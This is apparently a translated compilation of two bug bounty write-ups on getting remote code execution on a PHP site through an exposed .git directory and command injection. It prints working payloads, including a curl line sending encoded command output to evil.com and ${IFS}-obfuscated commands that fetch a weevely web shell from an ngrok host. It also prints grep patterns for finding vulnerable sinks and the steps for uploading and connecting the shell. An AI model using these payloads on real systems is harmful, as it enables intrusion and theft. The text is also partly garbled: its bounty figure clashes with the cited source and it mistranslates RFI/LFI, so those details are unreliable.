I am happy to share with you my personal experience of digging holes to earn bounties, welcome to exchange.
$70,000 for submitting .git RCE exploit
Recently I participated in a private bug bounty program, I found RCE through open . In fact, this vulnerability is very simple, and it only took half a day, but the logic is generally clear.
First, collecting easy-to-find vulnerabilities requires reconnaissance, so I use a series of tools in my bash script:
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt cat amass.txt | aquatone -ports xlarge -out aqua_$1 nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt
This is not the most specific and comprehensive tool, you can add other tools at your own discretion, the main role of these tools is to scan a large number of hosts.
Click on nuclei to view the output of this project, and you can find several exposed .git/ directories on the host, through which the source code can be downloaded:
Next, use the git-dumper tool first:
git-dumper http://example.com/.git/ output
I think this is a good opportunity to find bugs in the code, and I'm in no rush to report the exposed .git. It turned out that in the code, they used a call to a local bash script to save and delete the ftp user through the shell_exec() function, which took unfiltered user input, which led to the RCE vulnerability.
In order to craft the request, I also had to account for a simple authentication requiring a hardcoded key.
Final result of the request:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1= [secret1]&secret2= [sha1 encoded secret2]
The entry point will be the deluser parameter
The next step is to verify the vulnerability itself, for this I made a test curl request to my server by injecting shell_exec(), it worked
The output of a command can also be read by sending a base64-encoded form to a URI or via a POST body:
Payload of id
command: someusr; curl https://evil.com/ $(id|base64|tr -d "\n")
So only the upload shell was left, the only obstacle was the lack of write access to the current directory, so the shell was uploaded to uploads/.
(for spawning the shell, I used the weevely tool)
If the process is described in steps:
1. Save the shell in local txt, so that it can be transmitted through curl, and establish a server on your own host
2. Establish a tunnel with ngrok
3. Send a payload to save our shell in uploads/shell.php.
All that's left is to connect to the uploaded shell with weevely
After a few days of helping to solve the problem, the company rewarded me with a bounty (motivational screenshot attached)
Raised $3,000 for Hardcore RCE Vulnerability in Leaked PHP Source Code
Before this, I was able to access the source code through an exposed .git directory where the RCE vulnerability resided. After I explored this vulnerability, I continued to review the code, looking for other vulnerabilities. Fortunately, I found another more complicated RCE - through the directory creation function.
First, to find vulnerabilities in source code, you need to identify potential entry points. Tools like SonarQube will work, but I prefer to use old-style grep.
Here are a few examples for PHP:
Cross-site scripting:
grep -Ri "\$_" . | grep "echo"grep -Ri "\$_GET" . | grep "echo"grep -Ri "\$_POST" . | grep "echo"grep -Ri "\$_REQUEST" . | grep "echo"
Command execution:
grep -Ri "shell_exec(" .grep -Ri "system(" .grep -Ri "exec(" .
Code execution:
grep -Ri "eval(" .grep -Ri "assert(" .grep -Ri "preg_replace" . | grep "/e"
SQL injection:
grep -Ri "\$sql" .grep -Ri "\$sql" . | grep "\$_"
Radio Frequency Interference/Low Frequency Interference:
grep -Ri "file_include" .grep -Ri "include(" .grep -Ri "require(" .grep -Ri "include_once(" .grep -Ri "require_once(" .grep -Ri "require_once(" . | grep "\$_"
Chapter 1
After scanning the code, I focused on this section (as shown in the figure below), where the @exec() function is used. Through this function, I will try to get the RCE.
The purpose of this code is to determine the size of the file. First, on line 40, scandir() is called, which returns an array of the contents of the directory. Next, the names of files and directories are filtered through preg_replace() and sent to the filesize64() function, where the @exec() call is made.
Very cool, but this code doesn't accept any user input, other than the contents of the /home/html/ftp-upload/uploads/OELxI386/ directory, which I have no control over. So I put this code aside and wait a few weeks...
chapter 2
After a while I decided to double check how my previous RCE on this resource was fixed. I tried using different payloads and found out by accident that if I specify two values separated by a space (test%20somename) in the adduser parameter, for example in this URL: http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2] - the value after the space will be used to create a directory with the same name in the same location as the PHP file.
The code responsible for doing the above:
So, passing the value with spaces, the code to create the directory would look like this:
mkdir /home/html/ftp-upload/uploads/test somename
Chapter 3
Now that I can create my own directory, I figured I could use it to inject a payload to @exec() and use this chain to achieve RCE.
The first thought was to try and create a directory with a payload in its name, which would send a request to my server. If the request arrives, the code has executed successfully.
Therefore, I used the dig command:
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
In order for scandir() to read a directory with such a name, we create it in uploads/OELxI386/
Require:
But because of the spaces used in the payload, it has no effect, when it enters the mkdir command, the spaces separate the payload and create three directories:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
Therefore, our payload should not contain spaces and can be replaced by ${IFS} . The final requirements are as follows:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/ &secret1=[secret1]&secret2=[secret2 ]`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
marvelous! A directory with a payload in its name has been created, now we need to run a script with a vulnerable function to read the contents of this directory. For this we need to go to http://example.com/ftp-upload/testSize.php
We see that the script has been run:
The request has arrived successfully. This is RCE!
Let's repeat what just happened:
1. We send a request to create a directory containing the payload where we need it:
http://example.com/ftp-upload/sync.php ?adduser=test%20 uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9 .oastify.com&secret1=[secret1]&secret2= [secret2]
2. The payload is sent to the script that creates the directory.
The command that will be executed on the server is:
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig ${IFS} rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
3. We start the directory reading script:
http://example.com/ftp-upload/testSize.php
The script reads the contents of the directory /home/html/ftp-upload/uploads/OELxI386/ (into which we uploaded our payload)
and passes it to the filesize64() function, where our payload code is called.
It is passed to the filesize64() function where the code is called with our payload.
Chapter 4
All that's left is to upload a shell for trouble-free code execution on the server.
Let's move on to the replication step:
1. Use weevely to create a shell and save it as txt
weevely generate 123pass shell.txt
2. Create an index.php file for uploading the shell on our server.
<?php
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
} else {
die("Error: File not found.");
}
When a request is made to this script, the vulnerable server will fetch our shell.txt and save it as shell.php . This way, shell.php is uploaded to the vulnerable server.
3. Set up a local PHP server and use the ngrok tunnel to connect
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
4. The final step is to create the final payload to upload our shell to the server.
Since the server still has filtering capabilities, it took a bit of brainstorming, and I got the following payload:
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
The payload will execute the following commands on the vulnerable server:
cd errors #To go to a writable directory curl rce.eu.ngrok.io -o shell.php #The command that will download the shell to the vulnerable server
Since the server uses preg_match('/[\/:”*?<>|]+/’, $f) filtering, it is not possible to use slashes in the code.
5. We call the script to execute the code
http://example.com/ftp-upload/testSize.php
Afterwards, we receive a request on the server
Then we check if the errors/ directory exists shell
it's there!
6. All that is left is to connect it and execute the command
weevely http://example.com/ftp-upload/errors/shell.php 123pass
Now we can go to a nearby bar and celebrate.
After a few days of corrections, the team rewarded me with a bounty (as per tradition, a motivational screenshot)
Finally, I wish everyone a happy hunting and a rich bounty!
reference source
https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
https://medium.com/@levshmelevv/hardcore-rce-via-directory-name-for-3-000-225ed58b41a9